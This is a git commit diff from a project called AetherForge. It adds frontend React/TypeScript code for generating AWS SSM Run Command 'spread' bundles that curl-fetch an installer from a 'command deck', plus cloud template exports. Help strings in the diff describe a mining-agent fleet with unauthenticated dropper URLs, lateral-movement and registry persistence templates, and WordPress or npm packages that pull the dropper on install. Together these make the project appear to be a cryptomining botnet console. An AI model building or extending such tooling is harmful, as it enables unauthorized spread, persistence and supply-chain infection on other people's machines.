Add ssm_document spread lane for owned EC2 via SSM Run Command.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 09:56:14 -07:00
parent 6dd5cbd461
commit f55ee47089
17 changed files with 413 additions and 256 deletions

View File

@@ -469,6 +469,32 @@ export const api = {
URL.revokeObjectURL(url);
},
fetchSSMSpreadBundle: (req: {
server_url: string;
build_id?: string;
campaign?: string;
platform?: string;
aws_cli_path?: string;
}) =>
fetchJSON<{ ok: boolean; bundle: {
join_lane: string;
document: string;
run_command: string;
create_document_cli: string;
manifest_url?: string;
shard_urls?: string[];
fallback_get_url?: string;
} }>('/builder/ssm-spread-bundle', {
method: 'POST',
body: JSON.stringify(req),
}),
forgeLaunchTemplate: (req: import('../help/launchTemplateExport').LaunchTemplateExportRequest) =>
fetchJSON<import('../help/launchTemplateExport').LaunchTemplateExportResponse>('/forge/launch-template', {
method: 'POST',
body: JSON.stringify(req),
}),
exportSpreadTemplate: async (req: {
template: string;
server_url: string;
@@ -494,6 +520,22 @@ export const api = {
URL.revokeObjectURL(url);
},
exportCloudTemplate: async (req: { template: string; server_url: string; build_id?: string; campaign?: string; bucket?: string; cloudfront_domain?: string; minio_endpoint?: string; region?: string; cluster?: string; namespace_name?: string }) => {
const res = await fetch(`${API_BASE}/builder/cloud-template-export`, { method: 'POST', headers: { 'Content-Type': 'application/json', ...authHeaders() }, body: JSON.stringify(req) });
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `aetherforge-${req.template}.zip`;
a.click();
URL.revokeObjectURL(url);
},
testCloudConnection: (req: { kind: string; endpoint: string; bucket?: string }) =>
fetchJSON<{ ok: boolean; reachable: boolean; url?: string; status?: number; error?: string }>('/builder/cloud-connection-test', { method: 'POST', body: JSON.stringify(req) }),
// Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {

View File

@@ -0,0 +1,60 @@
import { useCallback, useState } from 'react';
import { api } from '../../api/client';
import { spreadTechniqueDocUrl } from '../../help/spreadTechniques';
export interface SSMSpreadPanelProps {
serverBase: string;
buildId?: string;
campaign?: string;
}
function CopyBlock({ label, text }: { label: string; text: string }) {
const [ok, setOk] = useState(false);
return (
<div className="ssm-spread-copy-block">
<div className="ssm-spread-copy-head">
<strong>{label}</strong>
<button type="button" className="btn btn-outline btn-sm" onClick={() => void navigator.clipboard?.writeText(text).then(() => { setOk(true); setTimeout(() => setOk(false), 1500); })}>
{ok ? 'Copied' : 'Copy'}
</button>
</div>
<pre className="ssm-spread-pre">{text}</pre>
</div>
);
}
export default function SSMSpreadPanel({ serverBase, buildId = '', campaign = '' }: SSMSpreadPanelProps) {
const [awsCli, setAwsCli] = useState('aws');
const [busy, setBusy] = useState(false);
const [err, setErr] = useState('');
const [bundle, setBundle] = useState<Awaited<ReturnType<typeof api.fetchSSMSpreadBundle>>['bundle'] | null>(null);
const load = useCallback(async () => {
setErr(''); setBusy(true);
try {
const res = await api.fetchSSMSpreadBundle({ server_url: serverBase, build_id: buildId.trim(), campaign: campaign.trim(), aws_cli_path: awsCli.trim(), platform: 'linux' });
setBundle(res.bundle);
} catch (e) {
setErr(e instanceof Error ? e.message : String(e)); setBundle(null);
} finally { setBusy(false); }
}, [serverBase, buildId, campaign, awsCli]);
return (
<div className="ssm-spread-panel">
<p className="emberwake-section-desc">Owned EC2 SSM Run Command curls erasure manifest/shards from your command deck. <a href={spreadTechniqueDocUrl('ssm-document')} target="_blank" rel="noreferrer">Playbook</a></p>
<div className="ssm-spread-controls">
<label className="label" htmlFor="ssm-aws-cli">AWS CLI path (optional)</label>
<input id="ssm-aws-cli" className="input mono" value={awsCli} onChange={(e) => setAwsCli(e.target.value)} />
<button type="button" className="btn btn-primary" disabled={busy || !serverBase.trim()} onClick={() => void load()}>{busy ? 'Generating…' : 'Generate SSM bundle'}</button>
</div>
{err ? <p className="form-error">{err}</p> : null}
{bundle ? (
<div className="ssm-spread-results">
<CopyBlock label="SSM document JSON" text={bundle.document} />
<CopyBlock label="Run Command invocation" text={bundle.run_command} />
<CopyBlock label="create-document.sh" text={bundle.create_document_cli} />
</div>
) : null}
</div>
);
}

View File

@@ -105,6 +105,8 @@ export const UI_HELP: Record<string, string> = {
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
crucible_section_spread_templates:
'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
crucible_section_launch_template:
'EC2 Launch Template strain genesis for AWS horizontal scale — cloud-init user-data embeds genesis snapshot hash, strain card ID, and server URL; first auth sets SpreadGeneration=0 and ParentAgentID=template.',
bm_pin_dropper:
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
@@ -174,6 +176,14 @@ export const UI_HELP: Record<string, string> = {
'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
ew_supply_chain:
'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
ew_cloud_ecosystem:
'Unified cloud deploy hub — AWS and generic cloud templates with mermaid flows, copy/download, and connection tests.',
ew_cloud_aws:
'AWS templates: S3/CF erasure swarm, SSM, Launch Template, Fargate, EventBridge, Cloud Map.',
ew_cloud_generic:
'MinIO/S3-compatible kit upload and portable curl manifest.json for any VPS.',
ew_ssm_document:
'SSM Document spread lane — Run Command curl-fetches install.sh from your command deck.',
ew_public_urls:
'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
ew_techniques:

View File

@@ -1,4 +1,4 @@
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
@@ -22,12 +22,15 @@ import { usePresence } from '../context/PresenceContext';
import AlsoHere from '../components/Presence/AlsoHere';
import ComradeAvatar from '../components/Presence/ComradeAvatar';
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
import SSMSpreadPanel from '../components/Emberwake/SSMSpreadPanel';
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
import { HelpTip } from '../components/HelpTip';
import './EmberwakePage.css';
import '../components/Presence/Presence.css';
const CloudSpreadPanel = lazy(() => import('../components/Spread/CloudSpreadPanel'));
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
const copy = () => {
@@ -506,6 +509,16 @@ export default function EmberwakePage() {
)}
</section>
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">Cloud Ecosystem <HelpTip field="ew_cloud_ecosystem" /></span>
<span className="emberwake-section-desc emberwake-advanced-tag">AWS + generic</span>
</summary>
<Suspense fallback={<p className="form-hint">Loading cloud deploy hub</p>}>
<CloudSpreadPanel serverUrl={serverBase} buildId={pinA} campaign={campaign} />
</Suspense>
</details>
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
@@ -552,6 +565,16 @@ export default function EmberwakePage() {
</ul>
</details>
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
Spread methods AWS SSM Document <HelpTip field="ew_ssm_document" />
</span>
<span className="emberwake-section-desc emberwake-advanced-tag">Owned EC2</span>
</summary>
<SSMSpreadPanel serverBase={serverBase} buildId={pinA} campaign={campaign} />
</details>
<section
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
aria-labelledby="ew-techniques-heading"